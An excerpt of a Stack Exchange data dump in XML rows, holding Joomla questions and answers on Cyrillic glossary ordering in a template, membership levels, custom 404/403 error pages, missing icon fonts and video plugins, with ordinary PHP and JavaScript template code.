  <row Id="17794" PostTypeId="1" CreationDate="2016-09-05T08:10:42.067" Score="0" ViewCount="325" Body="&lt;p&gt;I'm on Joomla! 3.6.2 with Purity III template (JA).&#xA;I try to use the glossary layout with Cyrillic alphabet but the php doesn't check the language and puts the articles in alphabet order only in English language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could somebody suggest a proper php coding for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Christina&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Original glossary.php file located in &lt;code&gt;templates/purity_iii/html/com_content/category&lt;/code&gt;:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Site&#xA; * @subpackage  com_content&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2013 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;require_once T3_TEMPLATE_PATH . '/helper.php';&#xA;&#xA;// get featured items&#xA;$app      = JFactory::getApplication();&#xA;$params   = $this-&amp;gt;params;&#xA;$catid = $app-&amp;gt;input-&amp;gt;getInt('id');&#xA;&#xA;$items = JATemplateHelper::getArticles($params, $catid, 0);&#xA;$groups = array();&#xA;$other = 'others';&#xA;for ($group = 'a'; $group &amp;lt; 'z'; $group++) {&#xA;    $groups[$group] = array();&#xA;}&#xA;$groups[$other] = array();&#xA;&#xA;foreach ($items as $item) {&#xA;    $title = clean_special_chars ($item-&amp;gt;title);&#xA;    $firstChar = strtolower($title[0]);&#xA;&#xA;    if ($firstChar &amp;lt; 'a' || $firstChar &amp;gt; 'z') {&#xA;        $groups[$other][] = $item;&#xA;    } else {&#xA;        $groups[$firstChar][] = $item;&#xA;    }&#xA;}&#xA;&#xA;/* clean special char to put it into alphabet list */&#xA;function clean_special_chars ($s, $d=false) {&#xA;    if($d) $s = utf8_decode( $s );&#xA;&#xA;    $chars = array(&#xA;        '_' =&amp;gt; '/`|´|\^|~|¨|ª|º|©|®/',&#xA;        'a' =&amp;gt; '/à|á|ả|ạ|ã|â|ầ|ấ|ẩ|ậ|ẫ|ă|ằ|ắ|ẳ|ặ|ẵ|ä|å|æ/',&#xA;        'd' =&amp;gt; '/đ/',&#xA;        'e' =&amp;gt; '/è|é|ẻ|ẹ|ẽ|ê|ề|ế|ể|ệ|ễ|ë/',&#xA;        'i' =&amp;gt; '/ì|í|ỉ|ị|ĩ|î|ï/',&#xA;        'o' =&amp;gt; '/ò|ó|ỏ|ọ|õ|ô|ồ|ố|ổ|ộ|ỗ|ö|ø/',&#xA;        'u' =&amp;gt; '/ù|ú|û|ũ|ü|ů|ủ|ụ|ư|ứ|ừ|ữ|ử|ự/',&#xA;        'A' =&amp;gt; '/À|Á|Ả|Ạ|Ã|Â|Ầ|Ấ|Ẩ|Ậ|Ẫ|Ă|Ằ|Ắ|Ẳ|Ặ|Ẵ|Ä|Å|Æ/',&#xA;        'D' =&amp;gt; '/Đ/',&#xA;        'E' =&amp;gt; '/È|É|Ẻ|Ẹ|Ẽ|Ê|Ề|Ế|Ể|Ệ|Ễ|Ê|Ë/',&#xA;        'I' =&amp;gt; '/Ì|Í|Ỉ|Ị|Ĩ|Î|Ï/',&#xA;        'O' =&amp;gt; '/Ò|Ó|Ỏ|Ọ|Õ|Ô|Ồ|Ố|Ổ|Ộ|Ỗ|Ö|Ø/',&#xA;        'U' =&amp;gt; '/Ù|Ú|Û|Ũ|Ü|Ů|Ủ|Ụ|Ư|Ứ|Ừ|Ữ|Ử|Ự/',&#xA;        'c' =&amp;gt; '/ć|ĉ|ç/',&#xA;        'C' =&amp;gt; '/Ć|Ĉ|Ç/',&#xA;        'n' =&amp;gt; '/ñ/',&#xA;        'N' =&amp;gt; '/Ñ/',&#xA;        'y' =&amp;gt; '/ý|ỳ|ỷ|ỵ|ỹ|ŷ|ÿ/',&#xA;        'Y' =&amp;gt; '/Ý|Ỳ|Ỷ|Ỵ|Ỹ|Ŷ|Ÿ/'&#xA;    );&#xA;&#xA;    return preg_replace( $chars, array_keys( $chars ), $s );&#xA;}&#xA;?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_page_heading', 1)) : ?&amp;gt;&#xA;    &amp;lt;div class=&quot;page-header clearfix&quot;&amp;gt;&#xA;        &amp;lt;h1 class=&quot;page-title&quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;params-&amp;gt;get('page_heading')); ?&amp;gt; &amp;lt;/h1&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_category_title', 1) or $this-&amp;gt;params-&amp;gt;get('page_subheading')) : ?&amp;gt;&#xA;    &amp;lt;div class=&quot;page-subheader clearfix&quot;&amp;gt;&#xA;        &amp;lt;h2 class=&quot;page-subtitle&quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;params-&amp;gt;get('page_subheading')); ?&amp;gt;&#xA;            &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_category_title')) : ?&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;category-&amp;gt;title;?&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/h2&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_description', 1) || $this-&amp;gt;params-&amp;gt;def('show_description_image', 1)) : ?&amp;gt;&#xA;    &amp;lt;div class=&quot;category-desc clearfix&quot;&amp;gt;&#xA;        &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_description_image') &amp;amp;&amp;amp; $this-&amp;gt;category-&amp;gt;getParams()-&amp;gt;get('image')) : ?&amp;gt;&#xA;            &amp;lt;img src=&quot;&amp;lt;?php echo $this-&amp;gt;category-&amp;gt;getParams()-&amp;gt;get('image'); ?&amp;gt;&quot;/&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_description') &amp;amp;&amp;amp; $this-&amp;gt;category-&amp;gt;description) : ?&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('content.prepare', $this-&amp;gt;category-&amp;gt;description, '', 'com_content.category'); ?&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;?php if ($params-&amp;gt;get ('show_navigation', 1)) : ?&amp;gt;&#xA;    &amp;lt;div class=&quot;glossary-nav&quot;&amp;gt;&#xA;        &amp;lt;nav class=&quot;container&quot;&amp;gt;&#xA;            &amp;lt;ul class=&quot;nav nav-pills&quot;&amp;gt;&#xA;            &amp;lt;?php foreach ($groups as $group =&amp;gt; $group_items): ?&amp;gt;&#xA;                &amp;lt;?php if (count ($group_items) || $params-&amp;gt;get ('show_empty_group', 0)) : ?&amp;gt;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&amp;lt;?php echo $group ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $group ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;?php endif ?&amp;gt;&#xA;            &amp;lt;?php endforeach ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/nav&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;        !function($) {&#xA;            $('.glossary-nav nav').affix({&#xA;                offset:{&#xA;                    top: function(){&#xA;                        return $('#t3-content').offset().top - $('#t3-mainnav').height();&#xA;                    }&#xA;                }&#xA;            });&#xA;        } (jQuery);&#xA;    &amp;lt;/script&amp;gt;&#xA;&amp;lt;?php endif ?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;glossary-items&quot;&amp;gt;&#xA;&amp;lt;?php foreach ($groups as $group=&amp;gt;$group_items) : ?&amp;gt;&#xA;    &amp;lt;?php if (count ($group_items) || $params-&amp;gt;get ('show_empty_group', 0)) {&#xA;        $this-&amp;gt;group = $group;&#xA;        $this-&amp;gt;group_items = $group_items;&#xA;        echo $this-&amp;gt;loadTemplate ('group');&#xA;    } ?&amp;gt;&#xA;&amp;lt;?php endforeach ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php if ($params-&amp;gt;get('show_detail_in_popup', 1)): ?&amp;gt;&#xA;&amp;lt;!-- Modal --&amp;gt;&#xA;&amp;lt;div class=&quot;modal fade&quot; id=&quot;glossary-detail&quot; tabindex=&quot;-1&quot; role=&quot;dialog&quot; aria-labelledby=&quot;glossary-detail-label&quot; aria-hidden=&quot;true&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;modal-dialog&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;modal-content&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;modal-header&quot;&amp;gt;&#xA;                &amp;lt;button type=&quot;button&quot; class=&quot;close&quot; data-dismiss=&quot;modal&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;amp;times;&amp;lt;/button&amp;gt;&#xA;                &amp;lt;h4 class=&quot;modal-title&quot; id=&quot;glossary-detail-label&quot;&amp;gt;Modal title&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;modal-body&quot;&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- /.modal-content --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- /.modal-dialog --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- /.modal --&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    !function ($) {&#xA;        // click to open popup&#xA;        var $a = $('.glossary-group-items ul li a');&#xA;        $a.click (function() {&#xA;            var url = this.href,&#xA;                label = this.innerHTML;&#xA;            // ajax to request content&#xA;            url += (/\?/.test(url) ? '&amp;amp;' : '?') + 'tmpl=component';&#xA;            $.ajax (url).done(function(data){&#xA;                $('#glossary-detail .modal-body').html($(data).find ('section.article-content'));&#xA;                $('#glossary-detail-label').html(label );&#xA;                $('#glossary-detail').modal ('show');&#xA;                console.log ($('.modal-content').height());&#xA;            });&#xA;&#xA;            return false;&#xA;        })&#xA;    } (jQuery);&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;?php endif ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8972" LastEditorUserId="5638" LastEditDate="2016-09-06T17:43:23.200" LastActivityDate="2019-07-07T22:54:33.597" Title="Joomla! 3.6.2 Template Purity III Layout Glossary - second alphabet ordering" Tags="|php|language|multilingual|layout|joomla-3.6|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17795" PostTypeId="1" CreationDate="2016-09-05T10:25:36.813" Score="2" ViewCount="75" Body="&lt;p&gt;I'm looking to implement a membership system where there are several different levels of membership. For example&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Institution&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Properties&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Name&lt;/li&gt;&#xA;&lt;li&gt;Address&lt;/li&gt;&#xA;&lt;li&gt;Telephone&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Owner (Joomla User)&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Richard&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Members (Joomla Users)&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Nurul&lt;/li&gt;&#xA;&lt;li&gt;Jose&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Type (User Group or Access Level)&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Full, Associate or Affiliate&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In the example above, Richard is the admin / owner of the Institution, and has assigned Nurul and Jose as Instituion Members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This scenario doesn't fit in with the default model of Joomla Users, so I'm trying to get my head around the best approach. So far I have the following&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Institution&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Custom component to handle custom properties stored in it's own database table&lt;/li&gt;&#xA;&lt;li&gt;When a Institution is created, a User Group is dynamically created (using the Institution Name), and assigned to the relevant Access Level depending on the selected Institution type (Full, Associate, Affiliate)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Members&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Will be Joomla users&lt;/li&gt;&#xA;&lt;li&gt;Custom properties will be handled by a third-party plugin i.e. RSMembership&lt;/li&gt;&#xA;&lt;li&gt;When a Member is created / assigned, they will inherit the User Group / Access Level from selected Institution&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Questions I'm still trying to figure out are&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is this a suitable approach for Joomla?&lt;/li&gt;&#xA;&lt;li&gt;Should the Institution type be a User Group or an Access Level?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8973" LastActivityDate="2016-10-05T13:30:57.183" Title="Joomla membership with group administrators" Tags="|user-groups|joomla-3.6|membership|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17796" PostTypeId="2" ParentId="17795" CreationDate="2016-09-05T13:07:02.107" Score="1" Body="&lt;p&gt;We've done (what sounds to be) the exact same thing you are requesting using only &lt;a href=&quot;https://www.opensource-excellence.com/index.php?option=com_ose_mart&amp;amp;view=item&amp;amp;id=419&quot; rel=&quot;nofollow&quot;&gt;OSE Membership&lt;/a&gt; and the &lt;a href=&quot;https://www.opensource-excellence.com/blog/itemlist/category/67-ose-license.html&quot; rel=&quot;nofollow&quot;&gt;OSE License&lt;/a&gt; add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We set up 3 levels of membership (Trial, Basic, &amp;amp; Premium), one of which was free and the others were paid subscriptions. The &quot;owner&quot; created the &quot;institution&quot; profile upon registration and we were able to specify an unlimited number of fields required (or optional) for the profile. The &quot;owner&quot;, also, chose how many &quot;licenses&quot; his/her subscription needed (extra fee) and could then assign that number of &quot;members&quot;, each of which had their own contact info and profile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For access to certain parts of the site, we created user groups and access levels for each of the membership tiers. Then, using a &quot;bridge&quot; from OSE to User Groups, we assigned the &quot;owner&quot; and &quot;members&quot; to the appropriate groups. Since the memberships were paid on an annual basis, the &quot;owner&quot; and all &quot;members&quot; would have their access levels revoked once their membership expired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other &quot;bridges&quot; which we used were:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Joomla! Groups&lt;/li&gt;&#xA;&lt;li&gt;Joomla! Articles&lt;/li&gt;&#xA;&lt;li&gt;K2 User Groups&lt;/li&gt;&#xA;&lt;li&gt;K2 Articles&lt;/li&gt;&#xA;&lt;li&gt;K2 Categories&lt;/li&gt;&#xA;&lt;li&gt;AcyMailing Mailing Lists&lt;/li&gt;&#xA;&lt;li&gt;DocMan Categories&lt;/li&gt;&#xA;&lt;li&gt;Event Booking Events/Discounts&lt;/li&gt;&#xA;&lt;li&gt;Menu Items&lt;/li&gt;&#xA;&lt;li&gt;Modules&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;We had &quot;complete&quot; control over settings and access to these &quot;bridged&quot; components based on the membership level. You can do the same with many other components that we did not need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Disclaimer:&lt;/em&gt; We needed the system heavily customized, so we had OSE tailor it to our specific needs (for a nominal fee). There may be a few things that our setup did that are not common &quot;out of the box&quot; for this component, but OSE can do those customizations for you (if you need them) at a very reasonable price. We, also, did a number of integrations ourselves, transferring the data to other systems. With Joomla! there really aren't many limits to what you can do if you know PHP, MySQL, and the &lt;a href=&quot;https://docs.joomla.org/Model-View-Controller&quot; rel=&quot;nofollow&quot;&gt;Joomla! MVC&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alternate Solutions:&lt;/strong&gt; There are many other components that can probably do the same thing. &lt;a href=&quot;http://joomdonation.com/joomla-extensions/membership-pro-joomla-membership-subscription.html&quot; rel=&quot;nofollow&quot;&gt;Membership Pro&lt;/a&gt; claims the same features for paid memberships. However, our requirements went well beyond what you are needing, and OSE Membership was the only one that existed when we built the site (several years ago) which fit our needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't need higher levels of paid subscription management, &lt;a href=&quot;https://www.joomlapolis.com/&quot; rel=&quot;nofollow&quot;&gt;Community Builder&lt;/a&gt; may be a good option, too.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2016-09-05T13:07:02.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17797" PostTypeId="2" ParentId="17793" CreationDate="2016-09-05T16:20:03.903" Score="0" Body="&lt;p&gt;Do you have an error.php in your template generating a header 404 when a page is not found?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My error.php contains the following information:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA; * @package     perfecttemplate&#xA; * @copyright   Copyright (c) Perfect Web Team / perfectwebteam.nl&#xA; * @license     GNU General Public License version 3 or later&#xA; */&#xA;&#xA;// No direct access.&#xA;defined('_JEXEC') or die;&#xA;&#xA;if (($this-&amp;gt;error-&amp;gt;getCode()) == '404')&#xA;{&#xA;    header(&quot;HTTP/1.0 404 Not Found&quot;);&#xA;    switch (JFactory::getLanguage()-&amp;gt;getTag())&#xA;    {&#xA;        #case 'en-GB':&#xA;        #   echo file_get_contents(JURI::base().'en/404');&#xA;        #   break;&#xA;&#xA;        default:&#xA;            // get Joomla! article with menu item alias = 404&#xA;            echo file_get_contents(JURI::base().'404');&#xA;    }&#xA;    exit;&#xA;}&#xA;&#xA;if (($this-&amp;gt;error-&amp;gt;getCode()) == '403')&#xA;{&#xA;    header(&quot;HTTP/1.0 403 Forbidden&quot;);&#xA;    switch (JFactory::getLanguage()-&amp;gt;getTag())&#xA;    {&#xA;        #case 'en-GB':&#xA;        #   echo file_get_contents(JURI::base().'en/404');&#xA;        #   break;&#xA;&#xA;        default:&#xA;            // get Joomla! article with menu item alias = 403&#xA;            echo file_get_contents(JURI::base().'403');&#xA;    }&#xA;    exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If a certain error occurs the header will respond with it's corresponding reply. &#xA;In my case only 403 or 404.&lt;/p&gt;&#xA;" OwnerUserId="240" LastActivityDate="2016-09-05T16:20:03.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17798" PostTypeId="1" AcceptedAnswerId="17802" CreationDate="2016-09-05T16:44:05.267" Score="0" ViewCount="334" Body="&lt;p&gt;The email/print icons on an article shows up as text instead of graphics (the cog is an &quot;8&quot;, e-mail shows as &quot;ME-mail&quot; or the print icon as a square &quot;[]Print&quot;). Obviously some font is not loading correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I find out what's wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running Joomla 3.6.2 with Joostrap Ripped template.&lt;/p&gt;&#xA;" OwnerUserId="1720" LastEditorUserId="1720" LastEditDate="2016-09-05T16:50:56.500" LastActivityDate="2016-09-06T13:16:09.243" Title="Joomla generating class &quot;icon-*&quot; but don't load the graphics" Tags="|icon|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17799" PostTypeId="1" CreationDate="2016-09-06T07:03:53.737" Score="0" ViewCount="326" Body="&lt;p&gt;I am using helix3 template, the menu item &quot;home&quot; is not taking &quot;active class&quot; when I'm on the home page or when I click on it although the other menu items are working fine, i want it to take the active class style and change its color when I am on the home page, it was working before!!&lt;/p&gt;&#xA;" OwnerUserId="8167" LastActivityDate="2024-04-04T16:04:50.747" Title="the menu item &quot;home&quot; is not taking &quot;active class&quot;" Tags="|menu|menu-item|helix3|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17800" PostTypeId="2" ParentId="17799" CreationDate="2016-09-06T08:41:39.140" Score="0" Body="&lt;p&gt;Try clearing your joomla cache. I also run into that problem with some templates if I have system cache turned on. So if that is on, I would try turning that off as well. &lt;/p&gt;&#xA;" OwnerUserId="8255" LastActivityDate="2016-09-06T08:41:39.140" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17801" PostTypeId="2" ParentId="17775" CreationDate="2016-09-06T10:16:34.797" Score="0" Body="&lt;p&gt;As mentioned the wmv is not recommended. For whatever reasons, I have noticed many Joomla! video plugins do not offer local file playback, which is odd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are looking for a decent playback solution, which can play single videos and/or create video galleries with multiple playback solutions and for the most part only requires a simple syntax (shortcode) then take a look at  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yendif Player: &lt;a href=&quot;http://extensions.joomla.org/extension/yendif-video-share&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/yendif-video-share&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All Video Share: &lt;a href=&quot;http://extensions.joomla.org/extension/allvideoshare&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/allvideoshare&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both have 5 star reviews on Joomla! Extensions Directory website and I believe made by the same people or friends. Both are free but also offer paid versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, both offer many options such as categories, meta info, SEF Urls, fixed dimensions, images, captions, related videos and a multitude of customizable property settings which also includes css styling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They both use a default flash player, that can play HD videos and both come with an HTML5 video player fallback.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either one will work for your needs and the good thing of both is, you can use it as a simple video player plugin or an extensive video collection nicely presented. &lt;/p&gt;&#xA;" OwnerUserId="8255" LastActivityDate="2016-09-06T10:16:34.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17802" PostTypeId="2" ParentId="17798" CreationDate="2016-09-06T13:16:09.243" Score="0" Body="&lt;p&gt;The template had neither mapped the CSS classes for icons correctly nor included the Icomoon font CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Through the support of Joostrap I added the following to the beginning of &lt;code&gt;template/&amp;lt;name&amp;gt;/index.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;$doc-&amp;gt;addStyleSheet($this-&amp;gt;baseurl.'/media/jui/css/icomoon.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So that the beginning of it reads:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joostrap.Template&#xA; * @subpackage  Joostrap v3.1.6&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2014 Joostrap. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;defined('_JEXEC') or die;&#xA;require_once __DIR__ . '/functions/tpl-init.php';&#xA;&#xA;$doc = JFactory::getDocument();&#xA;$doc-&amp;gt;addStyleSheet($this-&amp;gt;baseurl.'/media/jui/css/icomoon.css');&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also read about this in the &lt;a href=&quot;https://docs.joomla.org/J3.x:Joomla_Standard_Icomoon_Fonts&quot; rel=&quot;nofollow&quot; title=&quot;Joomla docs&quot;&gt;Joomla docs&lt;/a&gt;, which says exactly this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;To include the Icomoon fonts in your template you will have to add the css&#xA;stylesheet (/media/jui/css/icomoon.css) or include it in your .less file&#xA;when you generate the .css stylesheet(s).&#xA;&#xA;$doc = JFactory::getDocument();&#xA;$doc-&amp;gt;addStyleSheet($this-&amp;gt;baseurl.'/media/jui/css/icomoon.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1720" LastActivityDate="2016-09-06T13:16:09.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17803" PostTypeId="2" ParentId="17794" CreationDate="2016-09-06T14:25:13.860" Score="1" Body="&lt;p&gt;The following lines of code are what determine your glossary headings:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$items = JATemplateHelper::getArticles($params, $catid, 0);&#xA;$groups = array();&#xA;$other = 'others';&#xA;for ($group = 'a'; $group &amp;lt; 'z'; $group++) {&#xA;    $groups[$group] = array();&#xA;}&#xA;$groups[$other] = array();&#xA;&#xA;foreach ($items as $item) {&#xA;    $title = clean_special_chars ($item-&amp;gt;title);&#xA;    $firstChar = strtolower($title[0]);&#xA;&#xA;    if ($firstChar &amp;lt; 'a' || $firstChar &amp;gt; 'z') {&#xA;        $groups[$other][] = $item;&#xA;    } else {&#xA;        $groups[$firstChar][] = $item;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The headings are stored in an array of letters a-z. All others are in &amp;quot;others.&amp;quot; What you would need to do is add the characters in the Cyrillic alphabet to that array so those items don't get lumped into &amp;quot;others.&amp;quot;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Step 1&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;After:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;for ($group = 'a'; $group &amp;lt; 'z'; $group++) {  //LATIN SMALL LETTERS&#xA;    $groups[$group] = array();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;em&gt;Add:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;for ($group = 'а'; $group &amp;lt; 'џ'; $group++) {  //CYRILLIC SMALL LETTERS&#xA;    $groups[$group] = array();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So, now in your array, you have 'a'-'z', 'а'-'џ', &amp;amp; 'others' stored as groups.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Step 2&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;Change:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$firstChar = strtolower($title[0]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;em&gt;To:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$firstChar = mb_convert_case($title[0], MB_CASE_LOWER, &amp;quot;UTF-8&amp;quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is because &lt;code&gt;strtolower&lt;/code&gt; does not support Cyrillic characters. However, &lt;code&gt;mb_convert_case&lt;/code&gt; is a slower PHP function, so there may be a delay in load times (you can help that by using the Joomla! cache setting).&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Step 3&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;Change:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if ($firstChar &amp;lt; 'a' || $firstChar &amp;gt; 'z') {&#xA;    $groups[$other][] = $item;&#xA;} else {&#xA;    $groups[$firstChar][] = $item;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;em&gt;To:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (($firstChar &amp;gt;= 'a' &amp;amp;&amp;amp; $firstChar &amp;lt;= 'z' ) || ($firstChar &amp;gt;= 'а' &amp;amp;&amp;amp; $firstChar &amp;lt;= 'џ' )) {&#xA;    $groups[$firstChar][] = $item;&#xA;} else {&#xA;    $groups[$other][] = $item;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This will make sure the items beginning with either Latin or Cyrillic characters are grouped properly.&lt;/p&gt;&#xA;&lt;hr 